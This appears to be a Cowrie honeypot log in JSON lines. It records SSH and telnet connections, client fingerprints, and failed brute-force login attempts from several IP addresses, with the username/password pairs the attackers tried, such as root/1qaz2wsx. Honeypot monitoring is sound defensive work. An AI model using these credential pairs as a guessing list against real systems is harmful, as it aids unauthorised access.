{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:51.460864Z","src_ip":"91.92.40.153","session":"e6192df0d851","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"core","password":"P@ssw0rd","message":"login attempt [core/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:51.956559Z","src_ip":"91.92.40.153","session":"e6192df0d851","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":45716,"dst_ip":"159.203.135.109","dst_port":22,"session":"906da75908ee","protocol":"ssh","message":"New connection: 160.187.174.22:45716 (159.203.135.109:22) [session: 906da75908ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:53.081170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:53.088085Z","src_ip":"160.187.174.22","session":"906da75908ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:53.324507Z","src_ip":"160.187.174.22","session":"906da75908ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:53.402083Z","src_ip":"91.92.40.153","session":"e6192df0d851","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"123456","message":"login attempt [oscar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:54.325687Z","src_ip":"160.187.174.22","session":"906da75908ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43034,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e24f5f446ed","protocol":"telnet","message":"New connection: 170.64.224.25:43034 (159.203.135.109:23) [session: 8e24f5f446ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:54.524612Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:55.575402Z","src_ip":"160.187.174.22","session":"906da75908ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":17802,"dst_ip":"159.203.135.109","dst_port":22,"session":"053fd1fe106b","protocol":"ssh","message":"New connection: 178.20.210.208:17802 (159.203.135.109:22) [session: 053fd1fe106b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:55.827775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:55.832647Z","src_ip":"178.20.210.208","session":"053fd1fe106b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:55.935088Z","src_ip":"178.20.210.208","session":"053fd1fe106b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@4rfv","message":"login attempt [root/1qaz@4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:56.327688Z","src_ip":"178.20.210.208","session":"053fd1fe106b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":37934,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2ba960fd6c9","protocol":"ssh","message":"New connection: 91.92.40.153:37934 (10.17.0.5:22) [session: f2ba960fd6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:57.152089Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:57.430452Z","src_ip":"178.20.210.208","session":"053fd1fe106b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:57.717813Z","src_ip":"91.92.40.153","session":"f2ba960fd6c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:57.721541Z","src_ip":"91.92.40.153","session":"f2ba960fd6c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:11:59.111476Z","src_ip":"91.92.40.153","session":"f2ba960fd6c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:00.298187Z","src_ip":"91.92.40.153","session":"f2ba960fd6c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":46390,"dst_ip":"10.17.0.5","dst_port":22,"session":"271a62fe266d","protocol":"ssh","message":"New connection: 91.92.40.153:46390 (10.17.0.5:22) [session: 271a62fe266d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:03.391543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:03.582259Z","src_ip":"91.92.40.153","session":"271a62fe266d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:03.595147Z","src_ip":"91.92.40.153","session":"271a62fe266d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:04.687928Z","src_ip":"91.92.40.153","session":"271a62fe266d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:06.331610Z","src_ip":"91.92.40.153","session":"271a62fe266d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":46422,"dst_ip":"10.17.0.5","dst_port":22,"session":"50e91d4332d2","protocol":"ssh","message":"New connection: 91.92.40.153:46422 (10.17.0.5:22) [session: 50e91d4332d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:08.967672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:09.302029Z","src_ip":"91.92.40.153","session":"50e91d4332d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:09.306463Z","src_ip":"91.92.40.153","session":"50e91d4332d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:11.465378Z","src_ip":"91.92.40.153","session":"50e91d4332d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password1@","message":"login attempt [admin/Password1@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:12.011948Z","src_ip":"139.99.74.35","session":"8081a5b2b7a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:12.955065Z","src_ip":"91.92.40.153","session":"50e91d4332d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41554,"dst_ip":"10.17.0.5","dst_port":22,"session":"e376771e77b5","protocol":"ssh","message":"New connection: 91.92.40.153:41554 (10.17.0.5:22) [session: e376771e77b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:15.384493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:15.565687Z","src_ip":"91.92.40.153","session":"e376771e77b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:15.570295Z","src_ip":"91.92.40.153","session":"e376771e77b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:16.775960Z","src_ip":"91.92.40.153","session":"e376771e77b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:18.046830Z","src_ip":"91.92.40.153","session":"e376771e77b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":46092,"dst_ip":"159.203.135.109","dst_port":22,"session":"3488aee271c9","protocol":"ssh","message":"New connection: 160.187.174.22:46092 (159.203.135.109:22) [session: 3488aee271c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:18.879112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:18.882858Z","src_ip":"160.187.174.22","session":"3488aee271c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:19.115387Z","src_ip":"160.187.174.22","session":"3488aee271c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.555373668670654,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:19.340526Z","src_ip":"170.64.224.25","session":"eaa4d35c547e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:19.813257Z","src_ip":"160.187.174.22","session":"3488aee271c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.4","message":"Connection lost after 38.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:19.828226Z","src_ip":"139.99.74.35","session":"8081a5b2b7a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":49716,"dst_ip":"159.203.135.109","dst_port":22,"session":"45f8fc86d0fe","protocol":"ssh","message":"New connection: 139.99.74.35:49716 (159.203.135.109:22) [session: 45f8fc86d0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:20.066404Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:21.055050Z","src_ip":"160.187.174.22","session":"3488aee271c9","protocol":"ssh"}
